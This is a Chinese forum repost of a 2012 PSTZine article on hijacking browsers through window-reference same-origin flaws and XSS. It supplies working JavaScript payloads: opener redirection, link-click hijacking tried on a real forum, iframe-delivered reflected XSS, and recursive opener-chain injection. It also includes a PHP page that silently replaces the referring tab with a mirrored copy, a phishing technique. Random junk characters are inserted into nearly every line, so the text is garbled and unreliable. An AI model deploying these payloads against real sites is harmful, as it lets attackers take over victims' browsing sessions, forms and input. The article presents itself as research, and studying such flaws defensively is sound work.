找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1914|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==/ d# U. U4 N- A
# Z7 Y9 t1 S' k5 J
                       Issue 0x03, Phile #0x05 of 0x070 v+ l( C+ p2 F, g

; U* ~( b1 m& o5 H+ Z# {
. \1 Q' F- y; ~1 n  F( w* i) [|=---------------------------------------------------------------------------=|
) q- A% }2 n$ m; O) S|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
' x  b  i9 H* R' m|=---------------------------------------------------------------------------=|
7 h6 n/ L# d( V7 p|=---------------------------------------------------------------------------=|
) w( V# E; q& c|=------------------------=[      By rayh4c     ]=---------------------------=|
' ^* T! w7 D. l2 E$ I|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|$ J7 a" H- x6 f6 f
|=---------------------------------------------------------------------------=|1 R2 c" [! {2 Q9 o

8 {# ?# y2 Z% `0 ?% i' I
& y1 |1 ~. b7 |[目录]
+ g: p0 r- F" I" x+ k
% T+ E" k8 |9 Y4 o; ~4 E1. 前言
$ q, V* P. V" _: c0 b6 F2. 同源策略简叙1 G4 F. D! {4 h" x2 ], s- d
3. 理解window对象的同源策略
/ M9 E+ P# R( @" w3 E4. 窗口引用功能中的同源策略漏洞: f( J. R  i3 {
  4.1 父窗口引用子窗口的同源策略问题
2 q  u( Z( P4 m7 C  4.2 子窗口引用父窗口的同源策略问题
4 ^% V4 y4 E* w' K. Z+ |1 M5. 利用窗口引用漏洞劫持浏览器* Y# A5 A; ~$ @* C
6. 利用XSS漏洞劫持浏览器
& Q$ T, @% m. E. I& D+ j  6.1 正向跨窗口劫持
$ R+ N2 u( K; p, u  6.2 反向跨窗口劫持
3 L* _5 z$ g4 \" O  6.3 极度危险的跨框架窗口引用劫持: b1 j6 k# O! X# h+ N! a
  6.4 极度危险的正反向跨窗口递归劫持; r6 y% W# z, d
  6.5 完全控制浏览器+ V5 e$ e( a6 `9 }+ w) ~( G
7. 后记0 o7 A# g( r5 `' c' z' T, G
8. 参考
, B) X. h1 o' @0 @
1 \: |  I1 T) i5 X7 u, S# B6 G) c9 ~8 g
一、前言
3 F6 G4 i1 T7 Q: Y8 o, \2 N; x4 X# ]0 b% T6 t
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋9 Y. Q/ h8 U* Y& T8 S$ J! E
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session" U( y2 \3 @( a7 i( N: N
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
0 n. i7 I" k7 Y, e, V# G! X条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。3 `+ w6 C  T  H/ @# y
* B( f: a/ }; ~% c( I2 V

: L. M4 c& T5 k  H  M4 G9 H二、同源策略简叙, @. J( z2 D: U$ X

/ j) d* c+ k+ t+ {, {! g    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
' _: y# L) d% C9 Z5 K6 {7 M& ?从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
4 A( l& R1 e( [9 N+ {. r  x' o曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木, [( B  \$ z& S! v
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 J/ K# V+ {' I+ _  T# c
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。+ w: w! c9 x! T

" |9 j; M4 }! K' ?% N! n+ L- j" \- M7 ^6 A! N1 d
三、理解window对象的同源策略3 b6 c1 \2 g& q. ^, `  B& x* i6 g3 h

6 _# x2 m; k2 N7 L# K; p    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
3 y9 V" I6 i  t象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:4 O; K3 g+ N1 m( Z
9 D: ]& z  D3 J7 e# k- {6 w
--code-------------------------------------------------------------------------
  s2 \' O7 v( M+ u<script language="javascript">, E8 g' P7 Q, y) t* L! U
for(p in window) document.write(p+"<br>");4 J: A" S2 f3 `' B& `! I
</script>
* z2 s1 i' |* {3 N) P. \-------------------------------------------------------------------------------. `# `: C, }  ?) }, C% E

: W0 P# ^5 L% J0 K    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方2 _' I9 ?+ g7 }8 Z
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
! u, H' o% a- k# R# u1 y9 U% l这些属性和方法就必须遵循同源策略。
* F! n  E: @; O2 e; K# M( t, ~# F$ z8 A- ^! {! k6 r" W
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
; P9 i+ u$ G+ r. @: G& O7 P么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
; D7 ~8 A7 v, @5 o的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
" `- y# O* P3 M9 K8 |+ U* Y个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; y& g) x6 `' U* G1 J值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
; @1 l2 K: A1 u属性并没有被拒绝访问。1 e4 P) E5 j$ h: G# E

0 @9 }. R" T' n3 U2 o0 }--demo.html--------------------------------------------------------------------. t2 x- ^: i$ W9 V; [) @
<script language="javascript">   + I0 f( G3 Y# u7 k
function allPrpos(obj) {      
0 S$ n7 j$ D" T1 c: _, w      var props = "<table><tr><td>名称</td><td>值</td>";           
! ~/ x& p/ \1 G1 _- O      for(var p in obj){         
& L5 |/ Q2 {; H6 E: X' s            if(typeof(obj[p])=="function"){   * L/ D6 H+ m6 `. j) v6 _
                   obj[p]();   
+ g% y" x) S/ T& H* E9 J. I" a( k             }else{                      , f) |: ~, Y6 D5 o, G! M
                  try   
3 ^2 s$ \9 J, t+ J" Q$ Q% V                   {   
8 g1 c9 k; l5 D# [+ ?6 r( k                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   7 T( R4 Y9 h( h* X
                   }   ( T$ f  }* H  M1 `$ E8 i3 B( s
                  catch (ex)   
2 L% x5 j5 E0 w( H: {                   {   
8 I9 g8 `. Z0 h# P6 d3 I* t* `3 F                  
. J: d9 d4 [1 x) H                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   . |" I3 }: N) ~& C
                   }   
+ o' ~( _( c* J/ U  p                       / p) ]7 g: R* D0 g- P
             }   8 B% `3 |* i1 F2 F6 T
       }   * B9 o( ^3 v  K" ~$ a
   
& ?2 [1 O0 F9 Z, i       document.write(props+"</table>");   
8 @. p; M/ X7 o- E+ x6 F! D}   
( d$ D  z) |: G) q6 [9 ^8 G   
0 p6 E) n" s0 o2 Rfunction createWin() {
2 X' Y. }3 R7 Q, S" e8 F        newWin = window.open ("http://www.google.com");  
; e5 V7 m0 {! P        setTimeout(function(){allPrpos(newWin)},2000);
3 u/ u, a( v* u2 y}
) Y, F  X% M0 w( L& w
1 y( K. N! R! O. @# R</script>
: ~$ d# }. I) m% l# L# a( B7 O
9 d7 k  f" m1 z8 x<button onclick='createWin()'>创建一个非同源子窗口测试</button>+ \/ w) w" k% v- H! l) V' g
-------------------------------------------------------------------------------
6 G: y5 J; y9 X7 m) x
, F0 z$ P/ B4 w/ U
% W% U, N6 K3 q: O7 K四、窗口引用功能中的同源策略漏洞
- P- [4 O# g# A' {% K
2 Z( Z' {7 l! q4 X% a. }3 W4.1 父窗口引用子窗口的同源策略问题
9 ]$ ]. p( B9 J$ I) A9 ]1 h) Z  e% j2 c. A* H8 O# c; Y
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,4 o/ ]/ y0 Q/ ^% P+ ^( C
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道$ h5 A% h& {. H* @
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
4 F  g+ B  g( J) H5 P+ o8 v行测试,会发现父窗口可以控制非同源子窗口location属性值。
, ^1 |& E" b" C: `4 s+ b2 s. l2 U4 D* B7 X/ M$ z
--vul1.html--------------------------------------------------------------------  `$ B; E4 i/ v; U  i) o  O# f9 p
<script language="javascript">
7 a$ d, q/ Q$ m  s" P. A8 ]function createWin() {  # H% o& G- K4 W) l
        newWin = window.open ("http://www.google.com");  
. {% X! w& d1 l        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 3 m: k) c: S7 B
} , x1 f/ e( G% J7 B7 K5 R. o0 M4 M
</script>7 ~2 u5 u* s2 h
/ ~; g8 z3 Z, W1 t7 e- O
<button onclick='createWin()'>创建一个非同源子窗口测试</button>& N8 P6 J4 i7 O. P6 A& a' Y1 B
-------------------------------------------------------------------------------
: u( f! I2 t) b, Y1 [8 |! N  W  t
& j5 o# f' b# M) x
4.2 子窗口引用父窗口的同源策略问题
3 Y4 z4 L  }' p  V' s% `" t, G3 Y/ v2 c
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使5 ]7 e& Y- D" b0 j; I
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
5 c+ W$ `; j! o% \% \6 {5 D3 `) K可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定6 X: V* w1 X$ k3 A
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
" V- e8 I; {+ ]8 q: A3 A+ `/ [
$ F8 ]; f6 _  j. c4 ^; D--code-------------------------------------------------------------------------9 o: ]( o5 E- ^, p

9 ^$ B2 e* k0 `# j. Jjavascript:window.opener.location = "http://www.80sec.com";void(0);
" ~, ~5 H/ ^3 O; K4 j: b# n7 {" i9 ?  P& u0 q
-------------------------------------------------------------------------------: I5 w* T, R4 Y4 G

- |/ x# ~) ~; C& y& `
1 V+ N# H: F9 v! |3 O$ C五、利用窗口引用漏洞劫持浏览器" w0 c4 z, X% f4 o$ C

8 S1 ]) X" g, [, w" Y7 N$ a( @    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子* [+ H8 Q0 }0 k( Y
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
1 m% K0 y1 I2 ]2 m2 i1 s么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。" g1 G& X6 _, t$ t
2 }) L9 ?) l" j8 T1 u$ U4 Y* }# T
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产8 J/ n; w. b' t! k* B
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或( H" r) g  l. q1 J6 X+ F) N
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
& f; [) x3 a3 ?2 v  R1 X, \后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下6 L' p6 ]: F0 W1 X; v: J
会产生什么可怕的后果。- m+ l% W$ I1 R5 s6 t3 E- j) b
- ]& w4 ~  S0 m* x  q0 B
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 ?8 [4 @% |' b, @, @  y
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
  a8 a/ s( q, i1 a4 `这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
3 ?4 D6 h: V3 Y: {) D, [候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可  M% q2 u4 w0 T- v
以做更多的事情,所有的一切仅仅是因为点击了一个链接。& m1 |8 j1 s9 V- i2 [! X
9 u8 M/ y. `* z
--hjk_ref.php------------------------------------------------------------------
+ M+ z3 `, H, f/ g<?php
6 g1 L( q- x) Eif (array_key_exists("HTTP_REFERER", $_SERVER)) {( k8 H: N. r7 J
$Url_Mirror = $_SERVER["HTTP_REFERER"];
4 F5 S6 q' G2 L! p  n8 t0 [}
. `: o' I6 P) \& A3 fif(isset ($_GET['ref'])) {0 `1 D9 i  p- D
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';* A" B& X2 A" H- N, M
}$ q, g6 Z5 f4 H( t# j  i+ ?" q6 q
?>
( e* s7 B& o  N7 C: ?
! [7 M& Y9 \2 L8 X* K<script language="javascript">7 k2 x% e' P8 ^- Y: M
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         # y( _5 o$ L5 z& n# `: V8 _4 k, F
</script>
9 A7 R3 K# D) m7 L1 }1 y, X6 E' c-------------------------------------------------------------------------------
  w6 H' j2 d9 r8 X1 r0 i) t/ ]5 K, w  G! t% I: F) d
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
) a5 n% w& I2 o' G9 i- n' X' G- [; h
. c' M/ I( J" ~3 @* G! t1 s. m/ y& P6 x9 q+ O0 L1 e
六、利用XSS漏洞劫持浏览器
; V4 p- x3 E7 c+ y, h
2 [: U* \( ^, E6 N. }# U' c1 J    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
4 g7 k% t3 R7 d9 |持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后. o/ W" z5 H8 Q6 M# d
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
4 T9 a0 C9 g4 w讨论跨站师的终极技巧:
4 i' i2 ^/ M3 ?6 h  X9 f7 `; f2 w6 a8 P8 W' ^& K/ a

' ~4 w- O2 \4 r6.1 正向跨窗口劫持
# l9 b( b1 u& f5 @; X
( ^  _8 Z" t7 ~% h. C    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛# w  F2 k& {8 D# V, D* N
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链: q+ C* h: t$ h
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话. R& E+ q6 G- I9 u
框脚本。 0 t) }+ J# h. e/ A
( r0 M# f& m6 Y: }; E9 E3 B
--hijack_open.js---------------------------------------------------------------% D  j0 F. W, p1 V, C$ C
' T; q( N1 T! N5 O! f  S
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);2 Z; H& {$ H; [8 i2 j1 g

2 c- [) n8 }1 w9 }9 w' S2 e-------------------------------------------------------------------------------
# s* n3 x4 j- C9 @" {, M* o7 ]- |

1 _' u" G7 b1 u, x6.2 反向跨窗口劫持
4 b4 g, p4 u; u  V5 O# f
+ C/ b* C# h, w: M" H. Y  ]    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
# h+ ?& _  T! y6 v- ?4 [+ T码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话7 ?3 K- d/ o* P, L; R
框脚本。
' B* i5 Y8 h& J$ N! O/ |6 n9 w" X
" p  D$ y* F$ V4 c$ r--hijack_opener.js-------------------------------------------------------------
" k6 k& D2 ^& d% g6 r3 ]) y& s! _& G( e- b( d) @6 ^
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
  _; {0 h* g! G7 Q1 C8 Y5 O3 I5 ~6 s% U7 }' @9 W& _! p- b) P
-------------------------------------------------------------------------------
# O) i0 B+ Z9 o, h9 e0 h* Q7 I; U& A, q4 ~: W+ L, \+ m
6 s" ~* S9 W1 ^( G& y- s& N+ J
6.3 极度危险的跨框架窗口引用劫持# G# `+ {. T: s3 L1 B0 a6 P4 d  u; R
2 j- Q- b& b# Q* D, S1 v
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
2 E& y' b- q) h. G3 ?) m! D* W可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就: d: w1 U9 b2 }/ o. c+ }4 D6 Q
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个% X( C* I' Q1 {0 J
非持久型的XSS,如下:
* l0 D+ e  m, d& M$ Y4 n9 l5 E! T/ Y. {" `% U6 Y
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>: t, z- W- \, V$ n
; x( y: J+ S5 y( L8 z
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
  \( C. X' g. U3 C7 x4 \8 X1 {, }  g注入脚本。
: G/ ^$ @$ s* v- _0 f# z$ u
3 B. g6 s/ }( ], b+ j  M/ b9 `--hijack_frame_opener.js-------------------------------------------------------8 b! L* h1 s% d! ~2 d% ?% m8 s' \
<script>
7 v  B  t! }, [3 E' Dwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";6 X8 P$ t: j- A, c: ]/ z, r
</script>7 V1 s% G" x9 f' j( ^. T8 @
-------------------------------------------------------------------------------
/ ?& G9 F9 u1 x- z) H" P& v! O( v7 K8 }- b2 i6 T6 m: [6 R( r

& S6 @( d$ @5 l6 x- W: F1 R6.4 极度危险的正反向跨窗口递归劫持
* g( t3 M: d+ |8 a; M, U: F" _: q, ^4 g7 |$ q+ e0 @, _* r
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
; s8 K2 p2 e7 w/ m7 k的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过+ j+ f3 g9 o- `
异常处理规避之间跨域页面的访问异常,代码如下:
7 S' b7 X: \2 A) m; A4 w* M0 [' T$ g8 u/ Q
--code-------------------------------------------------------------------------( Z. q3 h) N* q- }. T% l1 l

% K# [  J# ?6 W; J! h' t. @% J5 x5 Njavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);  [, |; c/ c0 ^$ l
! U/ B+ K; E/ K: G  G# j; n
-------------------------------------------------------------------------------
- I9 v& ]0 l0 I2 E3 y( Y- U) @8 V: W, S4 V$ w/ M& ^: y
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可& x" `$ i9 I( e% C9 w* z8 c' V
以劫持B域之前的A域页面,从而实现“隔空打击”。
( v. G* R! D9 u! _) _" c1 C- w3 X) E2 W2 R3 v
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
9 ~( H) |) A5 @% @" _6 Y/ _执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。+ P  j8 W5 G4 r& ?  S% C8 J
6 e" w" H+ u/ G4 ~  v, e$ o; Y3 ^
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
; a' b4 `% R& S6 x  U$ `1 W5 q6 V

( _& o9 y2 \( e! `  w6.5 完全控制浏览器  f" C. Q. n3 m( L1 z$ A
% x4 C1 W! G3 ?* w, x: T  v! i
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则, f) ~0 n/ v5 O6 |) e" ]  p
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
" C# R8 f1 I; b! I0 U& H漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% \/ y2 @. O# T而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再' g+ B4 M7 s; ^$ a* ]. y
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站8 e# D3 W) D, B6 h6 k/ ~' `  C
师的终极目标 - 完全控制浏览器。
. ]9 J3 a: I4 J5 D/ l7 ]5 ^+ w; a) O5 _6 c; m6 h
" ~3 ^: v" ]- p' I8 [
七、后记
5 M+ r# H$ Z' P& j, u! @8 k6 n/ E% o+ s  o& q7 Y
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全2 Y9 z: }9 q3 e; T  ?$ `3 m
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
# I" N* R, v4 L9 }" I过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。  p6 G# q! E4 I8 L* Q# \
+ Y2 D1 H1 D8 M/ V* F
/ S0 y! ^: l: s8 V8 M7 }2 ^
八、参考: e* K1 d" C$ A0 ]# d0 V

5 B) m; |% r& o& ]* x# V) \# S1. http://en.wikipedia.org/wiki/Same_origin_policy$ Z' S0 x$ ^3 ~. J, U4 G3 \
2. http://code.google.com/p/browser ... licy_for_DOM_access
* ]7 u6 M" O! }) b9 ~" d3. http://www.w3.org/TR/Window/
) @( l: \; j6 z2 ?; b! n4 `8 z4. http://www.80sec.com/release/browser-hijacking.txt$ s, |4 m' p9 D1 d" J
5. http://www.80sec.com/all-browser-security-alert.html
: Q3 F+ U' F. z0 M2 z8 n. u0 P6. http://www.80sec.com/ms08-058-attacks-google.html
: c5 \  _* G* |% d8 e3 Z. b! H% h; k: M( |' S
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表